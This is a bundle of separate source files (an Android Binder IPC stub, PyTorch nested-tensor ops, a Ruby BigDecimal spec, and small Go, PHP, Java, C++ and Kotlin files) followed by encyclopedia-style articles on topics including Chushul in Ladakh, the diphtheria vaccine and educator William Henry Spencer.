*
*/
package xiaofei.library.hermes.internal;
import android.os.Binder;
import android.os.IBinder;
import android.os.IInterface;
import android.os.Parcel;
import android.os.Parcelable;
import android.os.RemoteException;
import java.util.List;
public interface IHermesServiceCallback extends IInterface {
abstract class Stub extends Binder implements IHermesServiceCallback {
private static final String DESCRIPTOR = "xiaofei.library.hermes.internal.IHermesServiceCallback";
public Stub() {
this.attachInterface(this, DESCRIPTOR);
}
public static IHermesServiceCallback asInterface(IBinder obj) {
if ((obj==null)) {
return null;
}
IInterface iin = obj.queryLocalInterface(DESCRIPTOR);
if (((iin!=null)&&(iin instanceof IHermesServiceCallback))) {
return ((IHermesServiceCallback)iin);
}
return new Proxy(obj);
}
@Override
public IBinder asBinder() {
return this;
}
@Override
public boolean onTransact(int code, Parcel data, Parcel reply, int flags) throws RemoteException {
switch (code) {
case INTERFACE_TRANSACTION:
reply.writeString(DESCRIPTOR);
return true;
case TRANSACTION_callback:
data.enforceInterface(DESCRIPTOR);
CallbackMail _arg0;
if ((0!=data.readInt())) {
_arg0 = CallbackMail.CREATOR.createFromParcel(data);
} else {
_arg0 = null;
}
Reply _result = this.callback(_arg0);
reply.writeNoException();
if ((_result!=null)) {
reply.writeInt(1);
_result.writeToParcel(reply, Parcelable.PARCELABLE_WRITE_RETURN_VALUE);
} else {
reply.writeInt(0);
}
return true;
case TRANSACTION_gc:
data.enforceInterface(DESCRIPTOR);
List list1, list2;
ClassLoader cl = this.getClass().getClassLoader();
list1 = data.readArrayList(cl);
list2 = data.readArrayList(cl);
this.gc(list1, list2);
reply.writeNoException();
return true;
}
return super.onTransact(code, data, reply, flags);
}
private static class Proxy implements IHermesServiceCallback {
private IBinder mRemote;
Proxy(IBinder remote) {
mRemote = remote;
}
@Override
public IBinder asBinder() {
return mRemote;
}
public String getInterfaceDescriptor() {
return DESCRIPTOR;
}
@Override
public Reply callback(CallbackMail mail) throws RemoteException {
Parcel _data = Parcel.obtain();
Parcel _reply = Parcel.obtain();
Reply _result;
try {
_data.writeInterfaceToken(DESCRIPTOR);
if ((mail!=null)) {
_data.writeInt(1);
mail.writeToParcel(_data, 0);
} else {
_data.writeInt(0);
}
mRemote.transact(Stub.TRANSACTION_callback, _data, _reply, 0);
_reply.readException();
if ((0!=_reply.readInt())) {
_result = Reply.CREATOR.createFromParcel(_reply);
} else {
_result = null;
}
} finally {
_reply.recycle();
_data.recycle();
}
return _result;
}
@Override
public void gc(List<Long> timeStamps, List<Integer> indexes) throws RemoteException {
Parcel _data = Parcel.obtain();
Parcel _reply = Parcel.obtain();
try {
_data.writeInterfaceToken(DESCRIPTOR);
_data.writeList(timeStamps);
_data.writeList(indexes);
mRemote.transact(Stub.TRANSACTION_gc, _data, _reply, 0);
_reply.readException();
}
finally {
_reply.recycle();
_data.recycle();
}
}
}
static final int TRANSACTION_callback = IBinder.FIRST_CALL_TRANSACTION;
static final int TRANSACTION_gc = IBinder.FIRST_CALL_TRANSACTION + 1;
}
Reply callback(CallbackMail mail) throws RemoteException;
/**
* path_to_url
*
* This article says something about the plural form of "index".
*/
void gc(List<Long> timeStamps, List<Integer> indexes) throws RemoteException;
}
```
|
```go
package geom
import (
"errors"
)
// ErrNilLineStringZS is thrown when a LineStringS is nil but shouldn't be
var ErrNilLineStringZS = errors.New("geom: nil LineStringZS")
// ErrInvalidLineStringZS is thrown when a LineStringZS is malformed
var ErrInvalidLineStringZS = errors.New("geom: invalid LineStringZS")
// LineStringZS is a basic line type which is made up of two or more points that don't interacted.
type LineStringZS struct {
Srid uint32
Lsz LineStringZ
}
// Vertices returns a slice of referenced XYM values
func (lszs LineStringZS) Vertices() struct {
Srid uint32
Lsz LineStringZ
} {
return lszs
}
// SetVertices modifies the struct containing the SRID int and the array of 3D coordinates
func (lszs *LineStringZS) SetSRID(srid uint32, lsz LineStringZ) (err error) {
if lszs == nil {
return ErrNilLineStringZS
}
lszs.Srid = srid
lszs.Lsz = lsz
return
}
// Get the simple 3D linestring
func (lszs LineStringZS) LineStringZ() LineStringZ {
return lszs.Lsz
}
```
|
```xml
export enum CompressType {
None = 0,
GZip = 1,
Brotli = 2,
}
```
|
```c++
// Boost.Units - A C++ library for zero-overhead dimensional analysis and
// unit/quantity manipulation and conversion
//
//
// accompanying file LICENSE_1_0.txt or copy at
// path_to_url
#ifndef BOOST_UNITS_MOMENTUM_DERIVED_DIMENSION_HPP
#define BOOST_UNITS_MOMENTUM_DERIVED_DIMENSION_HPP
#include <boost/units/derived_dimension.hpp>
#include <boost/units/physical_dimensions/length.hpp>
#include <boost/units/physical_dimensions/mass.hpp>
#include <boost/units/physical_dimensions/time.hpp>
namespace boost {
namespace units {
/// derived dimension for linear momentum : L M T^-1
typedef derived_dimension<length_base_dimension,1,
mass_base_dimension,1,
time_base_dimension,-1>::type momentum_dimension;
} // namespace units
} // namespace boost
#endif // BOOST_UNITS_MOMENTUM_DERIVED_DIMENSION_HPP
```
|
```kotlin
import java.io.File
import java.net.URL
//DEPS org.apache.commons:commons-lang3:3.12.0
fun importMoreStuff() = File(".")
fun printStuff() = println("made it!")
fun foo() = File(".").toURL()
```
|
```shell
Let's play the blame game
Locate a commit by its hash
Stashing changes
Create a new branch from a stash
Sign your work (using GPG)
```
|
Peter Moore Smith (born 1965) is an American writer and was the recipient of the 2000 Pushcart Prize for his short story "Oblivion, Nebraska." He has written two novels, Raveling and Los Angeles, both published by Little, Brown.
His short story Oblivion, Nebraska was adapted into a 2006 film by director Charlis Haine. His short story Forgetting the Girl was selected for the Best American Mystery Stories anthology in 2000. A film adaptation was directed by Nate Taylor.
Smith is the brother of actress Julianne Moore. He currently resides with his wife, Brigette, and their son, Wolfgang, in New York City.
"Oblivion, Nebraska"
"Oblivion Nebraska" was first published in the Spring 1996 issue of The Massachusetts Review. It was later selected for publication as part of the Pushcart Prize, in Pushcart Prize XXVI: Best of the Small Presses.
The short story was adapted twice, once for film and once as a stage reading. The short film premiered at the 2006 Australian International Film Festival. The film ran for 11 minutes and starred Jeremy Davidson, Sterling Beaumon, and Nicole Ansari-Cox. The story has been read as part of a live storytelling performance by WordTheatre. Kliatt described it as "a droll but ultimately bittersweet tale by Peter Moore Smith about a young boy's attempt to define his world after the loss of his mother". Harper Audio published a recording of the performance alongside other two other stories also read by WordTheatre performers.
References
21st-century American novelists
American male novelists
Living people
Date of birth missing (living people)
Place of birth missing (living people)
Novelists from New York City
American male short story writers
21st-century American short story writers
21st-century American male writers
1965 births
|
```php
<?php
/*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
*/
namespace Google\Service\HangoutsChat;
class GoogleAppsCardV1ImageCropStyle extends \Google\Model
{
public $aspectRatio;
/**
* @var string
*/
public $type;
public function setAspectRatio($aspectRatio)
{
$this->aspectRatio = $aspectRatio;
}
public function getAspectRatio()
{
return $this->aspectRatio;
}
/**
* @param string
*/
public function setType($type)
{
$this->type = $type;
}
/**
* @return string
*/
public function getType()
{
return $this->type;
}
}
// Adding a class alias for backwards compatibility with the previous class name.
class_alias(GoogleAppsCardV1ImageCropStyle::class, 'Google_Service_HangoutsChat_GoogleAppsCardV1ImageCropStyle');
```
|
Chushul is a village in the Leh district of Ladakh, India. It is located in the Durbuk tehsil, in the area known as "Chushul Valley", south of the Pangong Lake and west of the Spanggur Lake. The Line of Actual Control with China runs about 5 miles east of Chushul, across the Chushul Valley. Famous as site for historical battle grounds.
In August 1842 the concluding battle of Dogra-Tibetan War with subsequent signing of Treaty of Chushul in September 1842 for border non-proliferation took place at Chushul.
On 18 November 1962 Sino-Indian War, PVC Major Shaitan Singh with his five platoons of 120 men fought to the 'last man, last round' at Rezang La (Chushul), only 6 men survived the Chinese massacre.
Geography
Chushul is about 10 miles south of the Pangong Lake. It is in the valley of the Chushul River (or Tsaka chu), which rises near the Tsaka La and flows north for about 30 miles before entering the Pangong Lake on its south bank near Thakung. Near Chushul, the river flows through a flat plain of some 10 square miles in extent, leading to growth of grass and fuelwood.
Demographics
According to the 2011 census of India, Chushul has 148 households. The effective literacy rate (i.e. the literacy rate of population excluding children aged 6 and below) is 61.47%.
Most of the people are dependent on the rearing of goat and yak. In the field of agriculture, barley and pea are main crops of the season. During the chilly winter season, Chushul is cut off from main the capital city of Leh. During the winter season, Ice hockey is the main sport in Chushul. The youth of Chushul has a keen interest in playing ice hockey. The Chushul Ice Hockey team recently participated in the district as well as the CEC cup which was held at Leh at Karzoo and the new ice hockey ring at NDS Ground. In Chushul, various associations have played an important role in developing Chushul's economy, politics and education system. Some of these associations are Women's Alliance Chushul, Student Union of Chushul, Youth Association of Chushul, Gonpa Community of Chushul and Ex. Service Men Association of Chushul. Ms Tsering Dolker is the current elected sarpanch of Chushul village.
Education
In Chushul there are five schools. They are Govt. High school Chushul, Govt. Middle school Buk, Govt Middle School Tailing, Central Institute of Buddhist Studies .
Administration
The Chushul village was the block headquarters of Changthang block of Ladakh district prior to the 1962 war with China.
Airport
The Chushul airstrip became operational since 1954. Chushul airstrip, supported military operations during the 1962 Sino-Indian War. Dakotas and IL 14 from No. 12 Squadron IAF, No. 43 Squadron IAF and No. 42 Squadron IAF made logistical supplies to Chushul as the roads didn't exist.
On 25 & 26 October 1962 in Sino-Indian War, AN-12 transport airplanes of No. 44 Squadron IAF airlifted six AMX-13 tanks to armour the gap at Spanggur Tso through makeshift Chushul aerodrome made of (Perforated Steel Plates) fishplates at a height of 13,000 feet in Ladakh. Vir Chakra awardee Flight Lieutenant Virendera Singh Pathania of No. 23 Squadron IAF made sorties on Gnat airplane for photo reconnaissance from Chushul.
Road transport
Chushul is connected by the following roads:
"Surtok-Kakstet-Chushul Road" (CKC road), parallel to the southern bank of Pangong Tso, provides shortest route from Spangmik, Man & Merak to Chushul.
"Pangong Lakeshore Road" (PL road), is a motorable road along the scenic southern shore of Pangong Tso.
"Chushul-Dungti-Fukche-Demchok highway" (CDFD road), along the southern bank of Indus river which marks the LAC, will be converted to a single-lane 7.45 m wide 135 km long national highway with paved shoulder by 31 March 2025. Chushul and Fukche Airstrips lies along this highway. It will also provide faster access to the Nyoma airbase. This will boost military logistics and tourism in the border area.
"Mahe-Chushul Road" (MCR), via Kartsangla, will be completed by the BRO by December 2023 (August 2023 update).
Border Personnel Meeting point
Chushul is one of the five officially agreed Border Personnel Meeting points between the Indian Army and the People's Liberation Army of China for regular consultations and interactions between the two armies to improve relations.
Moldo () post of the Indian Army, coordinate:
Spanggur () post of the People's Liberation Army of China, coordinate:
See also
Geography of Ladakh
India-China Border Roads
Sino-Indian border dispute
Tourism in Ladakh
Notes
References
Bibliography
Further reading
SINO-INDIAN BORDER DEFENSES CHUSHUL AREA (CIA, 1963)
External links
A place called Chushul, himalaya.com, retrieved 21 November 2020.
Indian Air Force bases
Villages in Durbuk tehsil
Borders of Ladakh
|
```c++
#include <ATen/native/nested/NestedTensorMath.h>
#include <ATen/native/nested/NestedTensorBinaryOps.h>
#include <ATen/AccumulateType.h>
#include <ATen/Dispatch.h>
#include <ATen/Functions.h>
#include <ATen/NativeFunctions.h>
#include <ATen/NestedTensorImpl.h>
#include <ATen/ScalarOps.h>
#include <ATen/TensorIndexing.h>
#include <ATen/TensorOperators.h>
#include <ATen/TensorUtils.h>
#include <ATen/core/Tensor.h>
#include <ATen/native/layer_norm.h>
#include <ATen/native/nested/NestedTensorUtils.h>
namespace at::native {
DEFINE_DISPATCH(nested_dense_elementwise_stub);
REGISTER_NO_CPU_DISPATCH(nested_dense_elementwise_stub);
std::pair<NestedTensorImpl*, NestedTensorImpl*>
static get_elementwise_nested_tensor_impl(
const Tensor& self,
const Tensor& other,
const std::string& op_name) {
if (self.is_nested() && !(other.is_nested())) {
TORCH_CHECK(
false,
"Expected both self and other to be nested, but got a nested self and non-nested other");
} else if (!(self.is_nested()) && other.is_nested()) {
TORCH_CHECK(
false,
"Expected both self and other to be nested, but got a non-nested self and nested other");
} else if (!(self.is_nested()) || !(other.is_nested())) {
TORCH_CHECK(
false,
"Expected both self and other to be nested, but got a non-nested self and non-nested other");
}
auto self_ptr = get_nested_tensor_impl(self);
auto other_ptr = get_nested_tensor_impl(other);
TORCH_CHECK(
self.dim() == other.dim(),
op_name,
" does not support broadcasting when given a NestedTensor");
TORCH_CHECK(
at::equal(
self_ptr->get_nested_sizes(),
other_ptr->get_nested_sizes()),
op_name,
" does not support broadcasting when given a NestedTensor");
TORCH_CHECK(
at::equal(
self_ptr->get_nested_strides(),
other_ptr->get_nested_strides()),
op_name,
" requires strides to match when given NestedTensors");
const auto self_offsets = self_ptr->get_storage_offsets();
int64_t *self_offsets_ptr = self_offsets.data_ptr<int64_t>();
int64_t *other_offsets_ptr = other_ptr->get_storage_offsets().data_ptr<int64_t>();
bool offsets_match = true;
for (auto i = 0; i < self_offsets.size(0); i++) {
offsets_match = offsets_match && (self_offsets_ptr[i] == other_offsets_ptr[i]);
}
TORCH_CHECK(
offsets_match,
op_name,
" requires offsets to match when given NestedTensors");
return std::make_pair(self_ptr, other_ptr);
}
template <typename Func>
Tensor NestedTensor_elementwise_Tensor(
const Tensor& self,
const Tensor& other,
const std::string& op_name,
bool supports_striding,
Func f) {
Tensor self_contiguous = self;
Tensor other_contiguous = other;
// self is a scalar
if (!self.is_nested() && self.dim() == 0 && self.numel() == 1) {
auto other_impl = get_nested_tensor_impl(other);
return wrap_buffer(
f(self, other_impl->get_unsafe_storage_as_tensor()),
other_impl->get_nested_sizes().clone(),
other_impl->get_nested_strides().clone(),
other_impl->get_storage_offsets()
);
}
// other is a scalar
if (!other.is_nested() && other.dim() == 0 && other.numel() == 1) {
auto self_impl = get_nested_tensor_impl(self);
return wrap_buffer(
f(self_impl->get_unsafe_storage_as_tensor(), other),
self_impl->get_nested_sizes().clone(),
self_impl->get_nested_strides().clone(),
self_impl->get_storage_offsets()
);
}
// special case when other is dense (CUDA only for now)
if (self.is_nested() && !other.is_nested() && self.is_cuda() && other.is_cuda()) {
auto self_ptr = get_nested_tensor_impl(self);
auto other_ = other;
// check for the [B, *, D], [B, 1, D] case -> use custom kernel
// TODO: this if statement is ugly and hopefully we will remove this in the near future
bool is_broadcastable_3d = (
self_ptr->dim() == 3 &&
other.dim() == 3 &&
self_ptr->size(0) == other.size(0) &&
other.size(1) == 1 &&
self_ptr->opt_size(2).has_value() &&
self_ptr->opt_size(2).value() == other.size(2));
// check for the [B, *], [B, 1] case -> treat as 3D with [B, *, 1], [B, 1, 1]
bool is_broadcastable_2d = (
self_ptr->dim() == 2 &&
other.dim() == 2 &&
self_ptr->size(0) == other.size(0) &&
other.size(1) == 1);
if(is_broadcastable_2d) {
other_ = other.unsqueeze(-1);
is_broadcastable_3d = true;
}
if (is_broadcastable_3d) {
self_contiguous = self.contiguous();
self_ptr = get_nested_tensor_impl(self_contiguous);
const auto self_buffer = self_ptr->get_buffer();
const auto self_sizes = self_ptr->get_nested_sizes();
auto result_buffer = at::empty_like(self_buffer);
auto result = wrap_buffer(result_buffer, self_sizes);
if (op_name == "add") {
nested_dense_elementwise_stub(self.device().type(), result, self, other_, NESTED_DENSE_OP::ADD);
} else if (op_name == "mul") {
nested_dense_elementwise_stub(self.device().type(), result, self, other_, NESTED_DENSE_OP::MUL);
} else {
TORCH_CHECK(false, "Unsupported nested dense elementwise op: ", op_name, ".");
}
return result;
}
// check for the [B, C, *, *], [C, 1, 1] case
bool is_broadcastable_4d_3d = (
self_ptr->dim() == 4 &&
other.dim() == 3 &&
self_ptr->opt_size(1).has_value() &&
self_ptr->size(1) == other.size(0) &&
other.size(1) == 1 &&
other.size(2) == 1);
if (is_broadcastable_4d_3d) {
std::vector<Tensor> results;
for (const auto& t : self.unbind()) {
results.push_back(f(t, other));
}
return at::_nested_tensor_from_tensor_list(results);
}
TORCH_CHECK(
false,
"Expected both self and other to be nested, but got a nested self and non-nested other for op: ",
op_name,
".");
}
self_contiguous = supports_striding ? self.contiguous() : self;
other_contiguous = supports_striding ? other.contiguous() : other;
auto [self_impl, other_impl] =
get_elementwise_nested_tensor_impl(self_contiguous, other_contiguous, op_name);
TORCH_INTERNAL_ASSERT_DEBUG_ONLY(self_impl);
TORCH_INTERNAL_ASSERT_DEBUG_ONLY(other_impl);
return wrap_buffer(
f(self_impl->get_unsafe_storage_as_tensor(),
other_impl->get_unsafe_storage_as_tensor()),
self_impl->get_nested_sizes(),
self_impl->get_nested_strides(),
self_impl->get_storage_offsets());
}
Tensor NestedTensor_add_Tensor(
const Tensor& self,
const Tensor& other,
const Scalar& alpha) {
return NestedTensor_elementwise_Tensor(
self, other, "add", true /* supports_striding*/, [alpha](const Tensor& b1, const Tensor& b2) {
return at::add(b1, b2, alpha);
});
}
Tensor NestedTensor_sub_Tensor(
const Tensor& self,
const Tensor& other,
const Scalar& alpha) {
return NestedTensor_elementwise_Tensor(
self, other, "sub", true /* supports_striding*/, [alpha](const Tensor& b1, const Tensor& b2) {
return at::sub(b1, b2, alpha);
});
}
Tensor NestedTensor_mul_Tensor(const Tensor& self, const Tensor& other) {
return NestedTensor_elementwise_Tensor(
self, other, "mul", false /* supports_striding*/, [](const Tensor& b1, const Tensor& b2) {
return at::mul(b1, b2);
});
}
// Only usable on the C++ side; scalars are converted to tensors coming from Python.
Tensor NestedTensor_mul_Scalar(const Tensor& self, const Scalar& other) {
return NestedTensor_mul_Tensor(self, wrapped_scalar_tensor(other));
}
Tensor NestedTensor_div_Tensor(const Tensor& self, const Tensor& other) {
return NestedTensor_elementwise_Tensor(
self, other, "div", false /* supports_striding*/, [](const Tensor& b1, const Tensor& b2) {
return at::div(b1, b2);
});
}
// Only usable on the C++ side; scalars are converted to tensors coming from Python.
Tensor NestedTensor_div_Scalar(const Tensor& self, const Scalar& other) {
return NestedTensor_div_Tensor(self, wrapped_scalar_tensor(other));
}
Tensor NestedTensor_masked_fill(
const Tensor& self,
const Tensor& mask,
const Scalar& value) {
return NestedTensor_elementwise_Tensor(
self, mask, "masked_fill", false /* supports_striding*/, [value](const Tensor& b1, const Tensor& b2) {
return at::masked_fill(b1, b2, value);
});
}
template <typename Func>
Tensor& NestedTensor_elementwise__Tensor(
Tensor& self,
const Tensor& other,
const std::string& op_name,
Func f) {
// self is a scalar
if (!self.is_nested() && self.dim() == 0 && self.numel() == 1) {
auto other_impl = get_nested_tensor_impl(other);
f(self, other_impl->get_buffer());
return self;
}
// other is a scalar
if (!other.is_nested() && other.dim() == 0 && other.numel() == 1) {
auto self_impl = get_nested_tensor_impl(self);
f(self_impl->get_buffer(), other);
return self;
}
auto [self_impl, other_impl] =
get_elementwise_nested_tensor_impl(self, other, op_name);
TORCH_INTERNAL_ASSERT_DEBUG_ONLY(self_impl);
TORCH_INTERNAL_ASSERT_DEBUG_ONLY(other_impl);
const auto& nt_self = *self_impl;
const auto& nt_other = *other_impl;
f(nt_self.get_buffer().view({-1}), nt_other.get_buffer().view({-1}));
return self;
}
Tensor& NestedTensor_add__Tensor(
Tensor& self,
const Tensor& other,
const Scalar& alpha) {
return NestedTensor_elementwise__Tensor(
self, other, "add_", [alpha](const Tensor& b1, const Tensor& b2) {
return b1.add_(b2, alpha);
});
}
Tensor& NestedTensor_mul__Tensor(Tensor& self, const Tensor& other) {
return NestedTensor_elementwise__Tensor(
self, other, "mul_", [](const Tensor& b1, const Tensor& b2) {
return b1.mul_(b2);
});
}
// Only usable on the C++ side; scalars are converted to tensors coming from Python.
Tensor& NestedTensor_mul__Scalar(Tensor& self, const Scalar& other) {
return NestedTensor_mul__Tensor(self, wrapped_scalar_tensor(other));
}
Tensor& fill_nested_(Tensor& self, const Scalar& value) {
const auto& self_buf = get_nested_tensor_impl(self)->get_buffer();
self_buf.fill_(value);
return self;
}
Tensor& fill_nested_(Tensor& self, const Tensor& value) {
const auto& self_buf = get_nested_tensor_impl(self)->get_buffer();
self_buf.fill_(value);
return self;
}
Tensor ge_scalar_nested(const Tensor& self, const Scalar& other) {
return NestedTensor_elementwise_Tensor(
self, wrapped_scalar_tensor(other), "ge", false /*supports_striding*/,
[](const Tensor& b1, const Tensor& b2) {
return b1.ge(b2);
});
}
Tensor gt_scalar_nested(const Tensor& self, const Scalar& other) {
return NestedTensor_elementwise_Tensor(
self, wrapped_scalar_tensor(other), "gt", false /*supports_striding*/,
[](const Tensor& b1, const Tensor& b2) {
return b1.gt(b2);
});
}
Tensor eq_scalar_nested(const Tensor& self, const Scalar& other) {
return NestedTensor_elementwise_Tensor(
self, wrapped_scalar_tensor(other), "eq", false /*supports_striding*/,
[](const Tensor& b1, const Tensor& b2) {
return b1.eq(b2);
});
}
Tensor eq_tensor_nested(const Tensor& self, const Tensor& other) {
TORCH_CHECK(!other.is_nested(), "eq does not support nested tensor as other value.");
return NestedTensor_elementwise_Tensor(
self, other, "eq", false /*supports_striding*/,
[](const Tensor& b1, const Tensor& b2) {
return b1.eq(b2);
});
}
} // namespace at::native
```
|
```ruby
require_relative '../../spec_helper'
require 'bigdecimal'
describe "BigDecimal#nonzero?" do
it "returns self if self doesn't equal zero" do
# documentation says, it returns true. (04/10/08)
e2_plus = BigDecimal("2E40001")
e3_minus = BigDecimal("3E-20001")
infinity = BigDecimal("Infinity")
infinity_minus = BigDecimal("-Infinity")
nan = BigDecimal("NaN")
infinity.nonzero?.should equal(infinity)
infinity_minus.nonzero?.should equal(infinity_minus)
nan.nonzero?.should equal(nan)
e3_minus.nonzero?.should equal(e3_minus)
e2_plus.nonzero?.should equal(e2_plus)
end
it "returns nil otherwise" do
# documentation states, it should return false. (04/10/08)
really_small_zero = BigDecimal("0E-200000000")
really_big_zero = BigDecimal("0E200000000000")
really_small_zero.nonzero?.should == nil
really_big_zero.nonzero?.should == nil
BigDecimal("0.000000000000000000000000").nonzero?.should == nil
end
end
```
|
```java
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package org.activiti.engine.impl.form;
import org.activiti.engine.form.TaskFormData;
import org.activiti.engine.impl.persistence.entity.TaskEntity;
/**
* @author Tom Baeyens
*/
public class DefaultTaskFormHandler extends DefaultFormHandler implements TaskFormHandler {
@Override
public TaskFormData createTaskForm(TaskEntity task) {
TaskFormDataImpl taskFormData = new TaskFormDataImpl();
if (formKey != null) {
Object formValue = formKey.getValue(task.getExecution());
if (formValue != null) {
taskFormData.setFormKey(formValue.toString());
}
}
taskFormData.setDeploymentId(deploymentId);
taskFormData.setTask(task);
initializeFormProperties(taskFormData, task.getExecution());
return taskFormData;
}
}
```
|
Diphtheria vaccine is a toxoid vaccine against diphtheria, an illness caused by Corynebacterium diphtheriae. Its use has resulted in a more than 90% decrease in number of cases globally between 1980 and 2000. The first dose is recommended at six weeks of age with two additional doses four weeks apart, after which it is about 95% effective during childhood. Three further doses are recommended during childhood. It is unclear if further doses later in life are needed.
The diphtheria vaccine is very safe. Significant side effects are rare. Pain may occur at the injection site. A bump may form at the site of injection that lasts a few weeks. The vaccine is safe in both pregnancy and among those who have a poor immune function.
The diphtheria vaccine is delivered in several combinations. Some combinations (Td and DT vaccines) include tetanus vaccine, others (known as DPT vaccine or DTaP vaccine depending on the pertussis antigen used) comes with the tetanus and pertussis vaccines, and still others include additional vaccines such as Hib vaccine, hepatitis B vaccine, or inactivated polio vaccine. The World Health Organization (WHO) has recommended its use since 1974. About 84% of the world population is vaccinated. It is given as an intramuscular injection. The vaccine needs to be kept cold but not frozen.
The diphtheria vaccine was developed in 1923. It is on the World Health Organization's List of Essential Medicines.
History
In 1890, Kitasato Shibasaburō and Emil von Behring at the University of Berlin reported the development of 'antitoxins' against diphtheria and tetanus. Their method involved injecting the respective toxins into animals and then purifying antibodies from their blood. Behring called this method 'serum therapy'. While effective against the pathogen, initial tests on humans were unsuccessful. By 1894, the production of antibodies had been optimised with help from Paul Ehrlich, and the treatment started to show success in humans. The serum therapy reduced mortality to 1-5%, although there were also reports of severe adverse reactions, including at least one death. Behring won the very first Nobel Prize in Physiology or Medicine for this discovery. Kitasato, however, was not awarded.
By 1913, Behring had created Antitoxin-Toxin (antibody-antigen) complexes to produce the diphtheria AT vaccine. In the 1920s, Gaston Ramon developed a cheaper version by using formaldehyde-inactivated toxins. As use of these vaccines spread across the world, the number of diphtheria cases was greatly reduced. In the United States alone, the number of cases fell from 100,000 to 200,000 per year in the 1920s to 19,000 in 1945 and 14 in the period 1996–2018.
Effectiveness
About 95% of people vaccinated develop immunity, and vaccination against diphtheria has resulted in a more than 90% decrease in number of cases globally between 1980 and 2000. About 86% of the world population was vaccinated as of 2016.
Side effects
Severe side effects from diphtheria toxoid are rare. Pain may occur at the injection site. A bump may form at the site of injection that lasts a few weeks. The vaccine is safe during pregnancy and among those who have a poor immune function. DTP vaccines may cause additional adverse effects such as fever, irritability, drowsiness, loss of appetite, and, in 6–13% of vaccine recipients, vomiting. Severe adverse effects of DTP vaccines include fever over 40.5 °C/104.9 °F (1 in 333 doses), febrile seizures (1 in 12,500 doses), and hypotonic-hyporesponsive episodes (1 in 1,750 doses). Side effects of DTaP vaccines are similar but less frequent. Tetanus toxoid containing vaccines (Td, DT, DTP and DTaP) may cause brachial neuritis at a rate of 0.5 to 1 case per 100,000 toxoid recipients.
Recommendations
The World Health Organization has recommended vaccination against diphtheria since 1974. The first dose is recommended at six weeks of age with two additional doses four weeks apart, after receiving these three doses about 95% of people are immune. Three further doses are recommended during childhood. Booster doses every ten years are no longer recommended if this vaccination scheme of 3 doses + 3 booster doses is followed. Injection of 3 doses + 1 booster dose, provides immunity for 25 years after the last dose. If only three initial doses are given, booster doses are needed to ensure continuing protection.
See also
Bundaberg tragedy
DTP-HepB vaccine
References
Further reading
External links
Vaccine
1923 in biology
Toxoid vaccines
Vaccines
World Health Organization essential medicines (vaccines)
Wikipedia medicine articles ready to translate
|
The Boston mayoral election of 1882 saw the election of Albert Palmer, who defeated incumbent mayor Samuel Abbott Green.
Results
See also
List of mayors of Boston, Massachusetts
References
Mayoral elections in Boston
Boston
Boston mayoral
19th century in Boston
|
```shell
Revision control of configuration files with git
Removing old kernels in Debian based systems
Change your `hostname` on systems using `systemd`
Preventing a user from logging into the system
Using `dd` To Create Disk Images
```
|
The 1966–67 season was Liverpool Football Club's 75th season in existence and their fifth consecutive season in the First Division. Their win against Everton at Goodison Park at least gave Liverpool the Charity Shield, but they were humbled by Ajax, led by a young Johan Cruyff, in the European Cup. Liverpool finished fifth in the table, with arch rivals Manchester United winning the championship instead.
Squad
Goalkeepers
Tommy Lawrence
John Ogston
Defenders
Gerry Byrne
Chris Lawler
Ian Ross
Tommy Smith
Ron Yeats
Midfielders
Alf Arrowsmith
Ian Callaghan
Gordon Milne
Willie Stevenson
Ian St. John
Gordon Wallace
Peter Thompson
David Wilson
Attackers
Bobby Graham
Roger Hunt
Geoff Strong
Ted MacDougall
First Division
Table
Matches
FA Charity Shield
FA Cup
European Cup
References
LFC History.net – 1966-67 season
Liverweb - 1966-67 Season
Liverpool F.C. seasons
Liverpool
|
William Henry Spencer (September 1857 – May 30, 1925) was an Afro-American educator in Columbus, Georgia, in the late 19th and early 20th century.
Early years
He was born September 1857 to Henry Spencer, a blacksmith, in Columbus, Muscogee County, Georgia. He was raised by his father along with his sisters: Mary, Dora, Hattie, Ella, Leila and Lidia; and a brother, Samuel.
Spencer attended the Asbury Chapel, a Columbus public school designated for African-American children.
After graduating, he applied for and received a certificate for teaching in 1875, marking the beginning of a 50 year career in education.
Spencer began teaching in the Harris County schools. He soon found a position in the Columbus Public Schools. Spencer taught at 5th Avenue School in Columbus under Mr. Peters.
Family life
Spencer married Martha Love in 1879.
They had five children: Ethel, Annie, Alma, Pearl and William Henry Jr.
The Spencers lived on 4th Avenue in Columbus. Today, the Spencer House is on the National Register of Historic Places.
Career
After the American Civil War ended, schools to educate the Freedman were established across the south. In Columbus, the Bureau of Refugees, Freedmen and Abandoned Lands established Claflin School in 1868.
By 1872, schools for African-Americans became a part of the city school system. Columbus Public Schools had 1,174 African-American students attending. Julia Hampton was one of the first African-American teachers in the system. The first school was in rented quarters, Temperance Hall.
In the 1870s, much was done to continue the establishment of schools for blacks. A. J. Ketchum became one of the first black principals in the school system. George Foster Peabody gave the Columbus black schools $600. At that time there were 5 black teachers and 13 white teachers. In June 1875, the school board bought the African Methodist Church on Mercer Street for $800 with of land. This was converted for school purposes and a two-story frame building with four rooms was built on the site. In October 1888, the street and the school name was changed to 6th Street.
By 1880 the school board acquired Claflin School. Spencer was placed in charge of Claflin School in spite of his not receiving a college degree. He was promoted on his ability and passion for the education of African-Americans in Columbus.
Miss Anna Love and Miss Lucy Love, both graduates of the Columbus Public Schools, were elected teachers at Claflin. A report on school enrollment shows total black enrollment was 517, surpassing white enrollment at 462.
In 1882, black schools were overcrowded with enrollment of 827, 599 attending. In May, 160 Black citizens petitioned the Board asking that the grades of their school be raised a year to a total of 9 years. This was not granted since the schools were already overcrowded. It was suggested that an additional story be added to 6th Street school.
The Black citizens of Columbus continued to press the Board for a high school but there was no suitable building to do so.
Spencer continued on as principal of Claflin. In addition to Claflin, there were three other schools for blacks: Sixth Avenue, Fourth Street and 28th Street schools.
As the African-American population grew in Columbus, more schools for blacks were created and Spencer was named Supervisor of Colored Schools while retaining his position as principal at 6th Avenue School.
He improved himself academically and eventually was able to enroll at Clark College in Atlanta.
He was given broad powers in his new role on almost everything affecting the education of African-Americans - from the improvements of the physical facilities, to the hiring and firing of teachers. He was adamant in promoting efforts to improve the curriculum of the black schools in Columbus.
Spencer's main educational goal was to persuade the Columbus Public Schools to provide an accredited high school for African-Americans.
